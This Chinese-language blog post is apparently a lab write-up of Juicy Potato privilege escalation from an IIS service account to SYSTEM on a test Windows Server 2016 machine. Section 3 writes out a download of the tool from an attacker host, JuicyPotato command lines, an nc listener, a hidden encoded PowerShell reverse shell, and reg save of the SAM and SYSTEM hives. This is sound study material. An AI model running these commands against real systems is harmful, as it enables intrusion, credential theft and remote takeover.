
最近群里又掀起一波刷靶机的热潮DC6这类Linux靶机被大家翻来覆去练手但一到Windows提权就集体卡壳。Windows靶机的核心难点和乐趣都在提权层而Potato系列提权又是绕不开的经典。我前阵子自己搭了一台Windows Server 2016测试机模拟从Web漏洞拿到IIS服务账户权限最终用Juicy Potato一路打到SYSTEM权限。整个过程踩了不少坑也发现网上很多教程在新系统上根本复现不了。这篇就把我这次的完整测试过程、原理理解和排错思路都写出来希望对正在啃Windows提权的朋友有帮助。先说清楚边界所有操作都在我自建的靶机环境里完成用的是未打相关补丁的系统镜像目的就是研究Potato提权机制和防御要点。任何在未授权目标上的使用都是不可接受的这点必须先讲明白。1. 拿到立足点后的第一波信息收集先确认自己是谁再决定怎么打1.1 权限位决定攻击面whoami /priv 的输出怎么看我这次模拟的前置条件很简单目标系统是一个内网Web服务通过一个老旧的Web组件漏洞拿到了命令执行权限初始Shell落到IIS进程里当前用户是iis apppool\defaultapppool。很多新手拿到这样的Shell第一反应就是翻目录、找配置文件但我习惯先敲两行命令确认权限whoami whoami /privwhoami /priv的输出要重点看两个特权名称SeImpersonatePrivilege允许当前进程模拟客户端令牌。SeAssignPrimaryTokenPrivilege允许把令牌指定给新进程作为主令牌。如果这两个特权都显示Enabled恭喜这条路基本通了。我这次的目标账户正好两个特权都是Enabled这就意味着可以用Potato家族技术做文章。顺便提一句whoami /user也值得看下用户SID方便判断当前账户是不是服务账户。普通管理员或低权用户即使有SeImpersonatePrivilege实际可利用的COM对象和命名管道访问路径也可能不一样这点在后面的排错部分会说。1.2 系统版本与补丁等级Potato家族不是通吃任何系统的确认特权位之后第二步是看系统版本。网上教程经常忽略这一步直接甩一个Juicy Potato命令让你跑结果跑到Windows 10 1809或者Windows Server 2019上就是各种失败然后一脸懵。我习惯用这几条命令快速摸底systeminfo | findstr /B /C:OS Name /C:OS Version systeminfo | findstr /B /C:Hotfix我这次靶机反馈出来的信息是Microsoft Windows Server 2016 Standard、10.0.14393补丁停留在比较早期的阶段这正是Juicy Potato能稳定发挥的系统环境。如果换成Windows 10 1809以上的系统Juicy Potato的利用链大概率会被拦下来需要切换到Rogue Potato或者PrintSpoofer这类新变种。Potato家族不同变种和系统版本的适配关系我整理了一个简表Potato变种适用系统范围利用条件备注Rotten PotatoWindows 7 / Server 2008SeImpersonateMS-RPC交互老古董不常用Juicy PotatoWindows 7~10 1809前的各版本 / Server 2008~2016SeImpersonate可用CLSID指定COM对象本次使用最经典Rogue PotatoWindows 10 1809 / Server 2019SeImpersonate需要外部监听端口转发利用NTLM中继到本地PrintSpooferWindows 10 / Server 2016~2019SeImpersonatePrint Spooler服务正常运行操作最简单所以拿到Shell后不要着急执行提权工具先花两分钟确认系统版本。这一步省下的排错时间远超你的想象。1.3 为什么服务账户天然比普通用户更适合Potato提权在Windows机制里服务账户在进程启动时会被授予SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege这是系统设计的一部分目的是让服务能以客户端身份去访问资源。IIS应用程序池、SQL Server服务、MSSQL的sqlservr.exe、以及其他第三方服务默认都在这种高特权状态下运行。普通用户登录后创建的进程默认不会有SeImpersonatePrivilege所以哪怕手里有一个普通用户Shell也没办法直接套用Potato打法。这就是为什么我在开头强调Potato靶机测试的本质是先想尽办法拿到一个服务账户权限再把它放大为SYSTEM权限。我这次的初始攻击路径就是Web组件漏洞 - 命令执行 -iis apppool\defaultapppool服务账户。搞清楚这些上下文后才进入正式的提权环节。2. Potato提权的底层逻辑SeImpersonate不是漏洞而是被滥用的设计特性2.1 一句话讲清Potato在做什么很多新手把Potato理解成一种系统漏洞这其实是误区。Potato利用的并不是一个简单的缓冲区溢出或者反序列化漏洞而是利用了Windows在服务账户模拟机制上的一系列可被诱导的路径。我习惯用一个比较粗浅的类比来解释假设系统里有个大人物SYSTEM进程你是一个有冒充资格的服务生SeImpersonate特权。正常情况下只有大人物主动把令牌交给你你才能用他的身份去办事。但Potato攻击是诱导大人物自己走到你的服务窗口旁边触发NTLM认证然后把他的令牌借给你用一下。实际的技术链条大致是攻击者控制的进程在某个命名管道或COM对象上等待连接同时诱导SYSTEM权限的进程向这里发起NTLM身份验证请求由于当前账户拥有SeImpersonate特权攻击者进程可以截获并模拟这个认证令牌最终用SYSTEM令牌启动新进程。2.2 三种主流变种的各自侧重点Rotten Potato是最早的形态通过在本地模拟MS-RPC接口诱导认证适用场景窄现代系统基本跑不通。Juicy Potato是对它的工程化改造核心改进是支持通过COM对象触发认证并且允许用CLSID指定具体调用的对象比如后台智能传输服务BITS、任务计划服务等。这样攻击者可以更灵活地匹配不同系统版本。到了Windows 10 1809以后微软在系统层面做了不少收敛Juicy Potato引以为傲的COM路径逐渐失效于是社区又衍化出两条路线一条是Rogue Potato它不再依赖本地的COM触发器而是把NTLM认证请求通过外部的TCP通道转发回来在攻击机上完成中继再把成功的结果回传给目标本质上是一种离线NTLM中继思路另一条是PrintSpoofer它利用Print Spooler服务的命名管道交互来获取SYSTEM令牌命令简洁效果稳定。从实战热度看当前Windows靶机测试里最常见的就是Juicy Potato和PrintSpoofer这一老一新两个代表。2.3 为什么这次选Juicy Potato而不是其他变种原因很简单目标系统的版本是Windows Server 2016补丁老旧Juicy Potato在这个环境下成功率极高而且我手里已经有一个带SeImpersonate权限的服务账户Shell符合Juicy Potato的全部前置条件。如果是Windows Server 2019或更新的系统我会优先考虑PrintSpoofer因为它的执行体单文件、无额外依赖-c参数直接指定要执行的命令用起来最顺手。但既然这次目标是Server 2016Juicy Potato就是最优解。3. Juicy Potato实战从上传工具到SYSTEM Shell的完整链路3.1 工具准备与文件传输先用Meterpreter或WebShell的方式把JuicyPotato.exe上传到目标系统的可写目录。这里有个容易被忽略的点不要上传到C:\Windows\Temp很多服务账户对这个目录的写权限是不足的会出现上传成功但无法执行的情况。我习惯放到C:\ProgramData下面这个目录默认允许交互用户和服务账户写文件我试过多次最稳。上传方式我用了两种按当前Shell情况选择如果有Meterpreter会话直接upload /root/tools/JuicyPotato.exe C:\\ProgramData\\JuicyPotato.exe如果只有HTTP命令执行权限就在目标机上用PowerShell远程下载powershell -c Invoke-WebRequest -Uri http://192.168.10.10:8080/JuicyPotato.exe -OutFile C:\ProgramData\JuicyPotato.exe下载完先确认字节数是否完整我习惯跑一下文件大小对比避免下载不完整导致执行失败。3.2 CLSID的选择思路Juicy Potato的CLSID参数-c是很多人越不过去的坎。我尽量讲清楚CLSID不是随便填的46位大字符串它代表系统里某个COM组件。Potato攻击要做的就是让SYSTEM进程去调用这个COM组件时完成认证交互不同系统版本、不同组件的触发效果差异非常大。JuicyPotato项目的发布包里带了一份按系统版本整理的CLSID列表我的做法是先把列表下载到本地搜出目标系统对应的一批CLSID然后逐个去试。以下是网上流传较广、在Windows Server 2016上成功率较高的几个示例CLSID对应服务说明{4991d34b-80a1-4291-83b6-3328366b9097}BITSWindows Server 2016上常用{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}未知部分教程常用需实际测试实际操作中-c不传也可以工具会自动匹配默认的CLSID但自动匹配的成功率不稳定我在测试机上就遇到了自动匹配失败、手动指定却一次成功的情况。所以我的建议始终是手动指定CLSID多备几个轮换测试。3.3 执行利用的三种常见姿势我先说最简单的验证姿势只执行一个whoami并把结果写到文件里这样即使当前Shell没有回显也能拿到结果C:\ProgramData\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c whoami C:\ProgramData\pwned.txt -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}-l 1337是本地COM监听的端口只要不冲突随便填-p指定要启动的程序路径建议直接用系统绝对路径不要用相对路径-a是传给程序的参数-t *表示让工具自动选择CreateProcess的调用方式兼容性最好-c就是上面说的CLSID。执行完去读pwned.txt如果里面写着nt authority\system说明提权链路全通。如果不通看第4章排查。验证通过后再考虑反弹一个SYSTEM权限的Shell回来。我在攻击机上先监听nc -lvnp 4444然后在目标机上执行C:\ProgramData\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c powershell -nop -w hidden -enc BASE64_ENCODED_PAYLOAD -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}BASE64_ENCODED_PAYLOAD是本地生成的PowerShell反弹命令编码MSF或者Cobalt Strike生成时勾选编码复制过来就行。反弹Shell显示当前用户为nt authority\system权限验证完成。3.4 验证权限后只做最小化确认拿到SYSTEM权限后我的原则是最小化操作。既然是靶机实验验证到whoami是SYSTEM、可以读取管理员权限文件就已经达到目的。不建议为了炫技去添加管理员用户、关闭防火墙、留后门这类操作一方面是不安全另一方面也违背了靶机练习的初衷。我这次还顺手做了一件事用reg save备份了两个系统的SAM和SYSTEM注册表文件离线解出本地hash作为后续内网实验素材。这种操作在靶机环境里做做无妨但依然要克制能少动就少动。4. 为什么网上教程在别的机器上跑不通版本、CLSID与进程位数的三座大山4.1 最常见的三种报错及定位思路我在这次实验和之前的多次测试里遇到Juicy Potato失败主要集中在三种表现CreateProcessWithTokenW Failed是最常见的。这个报错通常和-t参数的选择有关可以尝试把-t *改成-t 1或-t 2强制指定CreateProcess的调用方式。也有一种情况是当前账户实际上没有SeImpersonate特权工具启动到了权限判断那一步就被系统拒绝这时回头重新确认whoami /priv。Dcomcnfg或403报错往往指向CLSID不匹配。我已经不止一次遇到CLSID列表里某个GUID在目标系统根本不存在或者权限访问被拒换一个列表中的其他GUID问题直接消失。还有一种情况是命令执行了但完全没有回显也不报错。这种十有八九是-a参数转义出了问题尤其把命令字符串拼接得像一长串俄罗斯方块时最容易翻车。我的经验是先写文件验证再考虑反弹Shell一步一步来不要一步到位。4.2 进程位数和WOW64重定向的坑这个坑真的很隐蔽但影响很大。如果你用的是32位版本的JuicyPotato在64位系统上运行时它启动的子进程可能被WOW64重定向到C:\Windows\SysWOW64目录这时候-p C:\Windows\System32\cmd.exe指定的路径和实际启动的cmd之间就产生了偏差导致明明权限拿到了但执行出的行为千奇百怪。解决方式很简单优先选择64位版本的Potato工具并且在命令参数里全部使用系统绝对路径。如果只能用32位版本那就要意识到重定向问题把命令里的路径手动改成C:\Windows\Sysnative来绕过WOW64重定向但这属于比较老派的技巧了新手遇到直接换64位版本体验会好很多。4.3 实验环境和真实环境的差异这次靶机没有装任何杀毒软件或EDR所以整个提权过程非常丝滑。但真实内网环境中JuicyPotato.exe和相关的Potato变种工具大部分都会被主流杀软标记为HackTool或Mimikatz类似的恶意工具一上传就可能被隔离。这也是为什么在靶机上跑通只是第一步真实渗透中的文件落地、执行、日志清理都有完全不同的对抗逻辑。不过对新手来说先把靶机机制搞明白再去考虑免杀和对抗学习路径才是健康的。4.4 失败时的自查清单最后我把Juicy Potato失败时的检查项整理成一个清单方便你一次排干净检查项检查内容错误处理思路权限位whoami /priv中SeImpersonate是否Enabled没有这个权限Potato一切免谈系统版本是否Windows 10 1809以前或Server 2016新版系统优先换PrintSpoofer进程位数工具和系统位数是否一致换64位Potato版本CLSID-c的GUID是否匹配系统换列表中的其他GUID轮询测试参数写法-p和-a是否使用绝对路径先写文件验证再执行反弹只要这五项都确认到位Juicy Potato的失败率会大幅降低。我看到过太多人卡在CLSID上反复重试实际上只有第一个和第三个检查项才是真正的高频坑。5. 一点体会Potato实验后的自查清单与后续练习方向这次Potato靶机测试跑下来我最大的体会是Potato不是一把万能钥匙它的本质是把Windows服务账户自带的高权限设计特性变成可利用的路径。理解了这一点面对不同系统版本、不同Windows组件时就不会死守一个工具而会习惯性地问自己三个问题当前账户有什么权限目标系统是什么版本哪个触发路径还没被补丁堵死后续练习方向上我建议你在同一台Windows靶机上分别试一遍Juicy Potato和PrintSpoofer对比两者的成功率和报错信息。再把系统升级到Windows Server 2019重新跑Juicy Potato你会直观感受到微软在COM路径上做了什么收敛。这样一轮下来你对Potato家族的理解会比看十篇教程都深刻。另外有一个小习惯值得养成每次实验都随手建一个笔记记录系统版本、补丁编号、当前账户、工具版本、CLSID、执行命令、报错信息、成功标志。这次我翻回去对照之前的实验记录很多当时没想明白的报错现在一眼就能看出原因。Potato这类提权实验越到后面比的就是谁踩坑踩得更有体系。希望这篇记录能给你的下次实验省点时间。